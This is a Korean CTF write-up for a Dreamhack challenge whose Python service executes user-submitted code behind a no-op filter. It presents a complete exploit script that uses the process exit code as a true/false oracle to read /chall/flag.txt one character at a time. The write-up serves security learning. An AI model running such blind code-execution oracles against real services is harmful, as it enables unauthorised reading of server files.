image.png

문제 설명도 없고

그냥 최근에 출제된 시스템 문제라는 것 말고는 없다..

코드 분석부터 진행하겠다.

import os
import subprocess
import unicodedata
import _frozen_importlib

# (TODO) Set up the filter
def filter(user_input):
    return True

code=input('Input > ')
result=filter(code)

if result==True:
    try:
        try: # (TODO) test the new code execution system
            with open('test.py','wt') as f:
                f.write(code)
            os.chmod("./test.py",0o755)
            result = subprocess.run(['python3','test.py'], capture_output=True, text=True, check=True)
            #print(result.stdout) # TODO
            print('Done.')
        except subprocess.CalledProcessError as e:
            print("An error occured.")
        except FileNotFoundError:
            print('test.py is missing.')
        except Exception as e:
            print('An unexpected error occured : '+e)
        finally:
            if os.path.exists('./test.py'):
                os.remove('./test.py')
    except:
        print('System error. Please ask Rootsquare...')
else:
    print('No Hack~ ^_^')

즉, 입력 필터 filter()가 실질적으로 우회/무력화 되어 사용자가 보낸 파이썬 코드가 그대로 동작한다.

image.png

종료 코드가 부모 출력에 반영되는데, 그건 위의 트라이로 확인할 수 있다.

두 결과를 통해 참/거짓 응답이 존재함을 확인할 수 있다.

즉, Blind SQLi 하는 느낌으로 한글자씩 flag를 맞춰가면서 얻어내면 될 것 같다.

s=open('/chall/flag.txt','rb').read().decode('utf-8','ignore')로 flag를 문자열에 담고,

sys.exit(1 if (cond) else 0)로 종료코드를 선택 → 원격 응답 문자열로 flag의 참/거짓을 판단하면 된다.

Exploit

import socket, time, os, sys

HOST = "host8.dreamhack.games"
PORT = 23303
PROMPT = b"Input > "

# 네트워크/재시도 설정
CONNECT_TIMEOUT = 4.0
READ_TIMEOUT    = 6.0
MAX_RETRIES     = 6
RETRY_SLEEP     = 0.4
PAUSE_BETWEEN_QUERIES = 0.1  # 서버 과부하/레이트리밋

PROGRESS_FILE = "flag_progress.txt"

# Dreamhack 플래그에 흔한 문자 우선 (실패 시 0..255 이분탐색)
CHARSET = "DH{}" + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_@-+!#$%&=.:,/?"

def recv_until(sock, token, timeout):
    sock.settimeout(timeout)
    data = b""
    while token not in data:
        b = sock.recv(1)
        if not b:
            break
        data += b
    return data

def run_one_liner(pycode_one_line: str) -> str:
    # 서버 접속→한 줄 코드 전송→응답 수신(EOF까지). 재시도 포함
    assert "\\n" not in pycode_one_line, "payload must be ONE line"
    last_err = None
    for _ in range(MAX_RETRIES):
        try:
            with socket.create_connection((HOST, PORT), timeout=CONNECT_TIMEOUT) as s:
                recv_until(s, PROMPT, timeout=READ_TIMEOUT)
                s.sendall(pycode_one_line.encode("utf-8") + b"\\n")
                try:
                    s.shutdown(socket.SHUT_WR)
                except OSError:
                    pass
                s.settimeout(READ_TIMEOUT)
                buf = b""
                while True:
                    chunk = s.recv(4096)
                    if not chunk:
                        break
                    buf += chunk
            return buf.decode("utf-8", errors="ignore")
        except Exception as e:
            last_err = e
            time.sleep(RETRY_SLEEP)
    raise RuntimeError(f"connection failed after retries: {last_err}")

def query_bool(cond: str) -> bool:
    # cond가 True면 exit(1) → 'An error occured.'
    # False면 exit(0) → 'Done.'
    payload = (
        "import sys;"
        "s=open('/chall/flag.txt','rb').read().decode('utf-8','ignore');"
        f"sys.exit(1 if ({cond}) else 0)"
    )
    rsp = run_one_liner(payload)
    if "An error occured." in rsp:
        time.sleep(PAUSE_BETWEEN_QUERIES)
        return True
    if "Done." in rsp:
        time.sleep(PAUSE_BETWEEN_QUERIES)
        return False
    # 예외적으로 다른 메시지가 오면 재시도 한번 더
    # (문구가 바뀌는 경우가 드물지만 방어적으로 처리)
    # 재시도 후에도 아니면 오류
    rsp2 = run_one_liner(payload)
    if "An error occured." in rsp2:
        time.sleep(PAUSE_BETWEEN_QUERIES)
        return True
    if "Done." in rsp2:
        time.sleep(PAUSE_BETWEEN_QUERIES)
        return False
    raise RuntimeError(f"unexpected response:\\n{rsp}\\n---\\n{rsp2}")

def has_index(i: int) -> bool:
    return query_bool(f"len(s)>{i}")

def guess_char_linear(i: int):
    # 우선 문자셋으로 직접 일치 비교
    for c in CHARSET:
        if query_bool(f"(len(s)>{i} and ord(s[{i}])=={ord(c)})"):
            return c
    return None  # 실패 시 이분탐색으로 넘어감

def guess_char_binsearch(i: int, lo=0, hi=255) -> int:
    """ord(s[i])를 [0..255]에서 이분탐색으로 정확히 획득."""
    L, R = lo, hi
    while L <= R:
        mid = (L + R) // 2
        cond = f"((len(s)>{i}) and (ord(s[{i}])>={mid}))"
        if query_bool(cond):
            L = mid + 1
        else:
            R = mid - 1
    return R  # 0..255 보장 (len(s)>i가 False면 여기 오기 전에 걸러짐)

def load_progress():
    if os.path.exists(PROGRESS_FILE):
        with open(PROGRESS_FILE, "r", encoding="utf-8", errors="ignore") as f:
            return f.read()
    return ""

def save_progress(s: str):
    with open(PROGRESS_FILE, "w", encoding="utf-8") as f:
        f.write(s)

def recover_flag(max_len=256):
    # 진행상황 이어받기
    out = load_progress()
    i = len(out)

    # 이미 끝난 경우도 처리
    if out.endswith("}"):
        print(f"[*] already complete: {out!r}")
        return out

    while i < max_len:
        if not has_index(i):
            break
        ch = guess_char_linear(i)
        if ch is None:
            val = guess_char_binsearch(i, 0, 255)
            try:
                ch = chr(val)
            except ValueError:
                # 이론상 오지 않지만 방어적으로 처리
                ch = '?'
        out += ch
        save_progress(out)
        print(f"[*] so far: {out!r}")
        if ch == "}":
            break
        i += 1
    return out

if __name__ == "__main__":
    print("[*] Recovering flag via stable one-liner + exit-code oracle…")
    flag = recover_flag(256)
    print(f"[+] FLAG = {flag}")